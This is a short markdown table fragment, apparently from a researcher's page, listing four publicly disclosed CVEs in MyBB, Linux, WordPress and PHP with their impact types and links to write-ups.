Software | Impact | Write-Up | 10 | |:-----------------------------:|:---------:|:--------------:|:---------------------------------------------------------------------:| 11 | | CVE-2021-27889+CVE-2021-27890 | MyBB | XSS to RCE | https://blog.sonarsource.com/mybb-remote-code-execution-chain | 12 | | CVE-2020-27194 | Linux | LPE | https://scannell.me/fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel/ | 13 | | CVE-2019-8943 | WordPress | RCE | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/ | 14 | | CVE-2019-6977 | PHP | Sandbox escape | https://hackerone.com/reports/478368 | 15 | --------------------------------------------------------------------------------